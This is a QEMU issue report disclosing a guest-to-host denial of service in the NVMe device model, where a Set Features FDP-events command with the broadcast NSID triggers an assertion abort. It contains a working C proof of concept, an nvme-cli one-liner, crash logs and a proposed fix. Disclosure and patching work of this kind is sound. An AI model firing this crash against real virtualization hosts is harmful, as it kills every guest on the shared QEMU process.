## Host environment * Operating system: Ubuntu 24.04 and Ubuntu 25.10 (containers) * OS/kernel version: `Linux 7.2.9-orbstack-00391-g2b298d05fbd4 #1 SMP PREEMPT aarch64 aarch64 aarch64 GNU/Linux` (upstream build, aarch64 host); the distro builds were also exercised in an amd64 container * Architecture: aarch64 host running the x86_64 target under TCG; no KVM, root or guest required * QEMU flavor: `qemu-system-x86_64` * QEMU version: upstream **11.1.0** (release tarball, built from source with `--target-list=x86_64-softmmu`). Also reproduced with Debian/Ubuntu packages 8.2.2 and 10.1.0. * QEMU command line: ``` ./build/qemu-system-x86_64 -M q35 -m 128M -nodefaults -display none -monitor none \ -serial none -device nvme,serial=deadbeef -qtest stdio ``` ## Emulated/Virtualized environment * Operating system: none — the reproducer drives the NVMe device model over the qtest protocol, so no guest OS is booted at all (see the guest variant in "Steps to reproduce") * OS/kernel version: n/a * Architecture: x86_64 machine model (`-M q35`) ## Description of problem _Disclosure: this issue was found with the assistance of automated tooling (LLM-based analysis). I re-derived the code path in the sources, built the reproducer below, and validated it on upstream 11.1.0 and two distributions before filing._ A guest can abort the QEMU process with one NVMe administrative Set Features command that uses the namespace-broadcast NSID: ``` qemu-system-x86_64: hw/nvme/ctrl.c:6610: nvme_set_feature_fdp_events: Assertion `ns' failed. ``` QEMU exits on SIGABRT (status 134 from a shell, -6 to a parent process). (Line numbers move between releases: 6102 in v8.2.2, 6494 in v10.1.0, 6610 in v11.1.0, 6630 in current master.) `nvme_set_feature()` intentionally accepts `NVME_NSID_BROADCAST` for namespace-scoped features and in that case never resolves `ns`: ```c if (nvme_feature_cap[fid] & NVME_FEAT_CAP_NS) { if (nsid != NVME_NSID_BROADCAST) { /* 0xffffffff skips this branch entirely */ ... ns = nvme_ns(n, nsid); /* ns stays NULL for 0xffffffff */ if (unlikely(!ns)) { return NVME_INVALID_FIELD | NVME_DNR; } } } ``` `NVME_FDP_EVENTS` (`0x1e`) is declared `NVME_FEAT_CAP_CHANGE | NVME_FEAT_CAP_NS`, and its handler asserts on `ns` before any other check — including the "is FDP enabled" check: ```c static uint16_t nvme_set_feature_fdp_events(NvmeCtrl *n, NvmeNamespace *ns, NvmeRequest *req) { ... assert(ns); /* <-- aborts here */ if (!n->subsys || !n->subsys->endgrp.fdp.enabled) { return NVME_FDP_DISABLED | NVME_DNR; } ``` Consequences: * no namespace, no `nvme-subsys`, no FDP configuration and no device property is required — a plain `-device nvme` is enough; * accepting the broadcast NSID is deliberate for other features (`NVME_ERROR_RECOVERY` applies the value to every namespace, v8.2.2:6219), so `NVME_FDP_EVENTS` is the only namespace-scoped feature whose handler assumes a non-NULL namespace; * the Get Features path is consistent and rejects the broadcast NSID for namespace-scoped features (v8.2.2:5903, v10.1.0:6293, v11.1.0:6409): `if (!nvme_nsid_valid(n, nsid) || nsid == NVME_NSID_BROADCAST) return NVME_INVALID_NSID | NVME_DNR;` Impact: guest -\> host denial of service. The QEMU process aborts and every guest in it dies. No memory corruption. `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H` = 6.5. ## Steps to reproduce 1. Build or install `qemu-system-x86_64` (no KVM, no root, no guest image needed): ``` curl -sSLO https://download.qemu.org/qemu-11.1.0.tar.xz && tar xf qemu-11.1.0.tar.xz cd qemu-11.1.0 ./configure --target-list=x86_64-softmmu --without-default-features --disable-docs make -j$(nproc) ``` 2. Guest variant (needs a booted VM; same one command): ``` nvme admin-passthru /dev/nvme0 --opcode=0x09 --namespace-id=0xffffffff --cdw10=0x1e ``` The ioctl never returns and the host QEMU aborts. ## Additional information * Introduced by `73064edfb8` ("hw/nvme: flexible data placement emulation", 2023-02-20), first released in v8.0.0; still present in v11.1.0 and master. * `NVME_FDP_EVENTS` capability: `[NVME_FDP_EVENTS] = NVME_FEAT_CAP_CHANGE | NVME_FEAT_CAP_NS` (hw/nvme/ctrl.c, feature cap table). * Suggested minimal fix (a patch will be sent to qemu-devel separately): ```diff --- a/hw/nvme/ctrl.c +++ b/hw/nvme/ctrl.c @@ static uint16_t nvme_set_feature_fdp_events(...) - assert(ns); + if (!ns) { + return NVME_INVALID_NSID | NVME_DNR; + } ``` I built this against upstream 11.1.0 and re-ran the reproducer: QEMU stays alive and the command completes with status `0x400b` (`NVME_INVALID_NSID | NVME_DNR`), phase 1. Optionally also reject the broadcast NSID for this FID in `nvme_set_feature()`, mirroring `nvme_get_feature()`. A blanket rejection for all `NVME_FEAT_CAP_NS` features is **not** appropriate: it would regress the intentional broadcast handling of `NVME_ERROR_RECOVERY`. [qtest_nvme_fdp.py](/-/project/11167699/uploads/2faf6175ae5493309d07330e0b7ef776/qtest_nvme_fdp.py) ```shell ash@MacBook-Air-ash ~/D/q/poc (main) [127]> qemu-system-x86_64 --version QEMU emulator version 11.0.0 Copyright (c) 2003-2026 Fabrice Bellard and the QEMU Project developers ash@MacBook-Air-ash ~/D/q/poc (main)> python3 qtest_nvme_fdp.py qemu-system-x86_64 [*] qemu-system-x86_64: q35, -device nvme,serial=deadbeef (no guest, no KVM) [*] nvme at 00:01.0, BAR0=0xfe000000 (15 KiB) [*] admin queues up, CC.EN=1, CSTS.RDY=1 [*] SQE written: SetFeatures NSID=0xffffffff CDW10=0x1e [*] doorbell rung [*] qemu exited, status -6 Assertion failed: (ns), function nvme_set_feature_fdp_events, file ctrl.c, line 6498. RESULT: VULNERABLE -- abort() on the FDP-events assertion ``` in shell ```shell localhost:~# chmod +x /tmp/poc localhost:~# ls -l /dev/nvme0 crw-rw---- 1 root disk 246, 0 Nov 1 22:38 /dev/nvme0 localhost:~# /tmp/poc /dev/nvme0 POC-GUEST: issuing Set Features FID=0x1e NSID=0xffffffff Assertion failed: (ns), function nvme_set_feature_fdp_events, file ctrl.c, line 6498. fish: Job 1, 'qemu-system-x86_64 -M q35 -m 20… -cdrom alpine-virt-3.20.9-x86… -drive file=nvme-ns.img,if=no… -device nvme,serial=deadbeef,… -netdev user,id=n0 -device vi…' terminated by signal SIGABRT (Abort) ``` /tmp/poc ```c #include <fcntl.h> #include <linux/nvme_ioctl.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/nvme0"; struct nvme_passthru_cmd cmd; int fd, ret; memset(&cmd, 0, sizeof(cmd)); cmd.opcode = 0x09; /* Admin command: Set Features */ cmd.nsid = 0xffffffff; /* NVME_NSID_BROADCAST: skips the ns lookup in nvme_set_feature() */ cmd.cdw10 = 0x1e; /* FID = NVME_FDP_EVENTS, SV = 0 */ cmd.timeout_ms = 1000; fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); return 1; } printf("sending SetFeatures NSID=0xffffffff CDW10=0x1e to %s\n", dev); fflush(stdout); ret = ioctl(fd, NVME_IOCTL_ADMIN_CMD, &cmd); printf("ioctl returned %d (errno path: %m) -- host not vulnerable\n", ret); close(fd); return 0; } ```